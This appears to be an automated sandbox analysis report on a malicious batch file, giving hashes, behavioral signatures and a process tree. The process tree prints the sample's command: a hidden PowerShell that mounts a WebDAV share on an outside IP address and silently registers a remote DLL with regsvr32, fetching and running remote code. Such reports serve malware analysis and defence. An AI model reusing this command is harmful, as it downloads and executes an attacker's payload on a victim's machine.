Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
19/07/2024, 06:50
Static task
static1
Behavioral task
behavioral1
Sample
337826846301124085.bat
Resource
win7-20240705-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
337826846301124085.bat
Resource
win10v2004-20240709-en
8 signatures
150 seconds
General
-
Target
337826846301124085.bat
-
Size
2KB
-
MD5
998857e16764657be1ff8932a538d504
-
SHA1
a31ceb1a6a6773e0dbf890de7543b8abaea25939
-
SHA256
3eaf367eb49955b90ea5c12849e10a1f6023bbaf5e1357978f04482f67fe8e6f
-
SHA512
2f89361ba5f653828e916055ba90590c94690e02cfc9e92ba155d3030eacc31e65bb933ff0b52ee600e036c10aabb56393bf93d711cc04a929c19a64ee20e8d4
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2632 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2632 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2632 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2920 wordpad.exe 2920 wordpad.exe 2920 wordpad.exe 2920 wordpad.exe 2920 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 3052 wrote to memory of 2920 3052 cmd.exe 31 PID 3052 wrote to memory of 2920 3052 cmd.exe 31 PID 3052 wrote to memory of 2920 3052 cmd.exe 31 PID 3052 wrote to memory of 2632 3052 cmd.exe 32 PID 3052 wrote to memory of 2632 3052 cmd.exe 32 PID 3052 wrote to memory of 2632 3052 cmd.exe 32 PID 2632 wrote to memory of 2148 2632 powershell.exe 34 PID 2632 wrote to memory of 2148 2632 powershell.exe 34 PID 2632 wrote to memory of 2148 2632 powershell.exe 34 PID 2632 wrote to memory of 2932 2632 powershell.exe 35 PID 2632 wrote to memory of 2932 2632 powershell.exe 35 PID 2632 wrote to memory of 2932 2632 powershell.exe 35 PID 2632 wrote to memory of 2932 2632 powershell.exe 35 PID 2632 wrote to memory of 2932 2632 powershell.exe 35
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\337826846301124085.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2920
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\31771253245916.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2148
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\31771253245916.dll3⤵PID:2932
-
-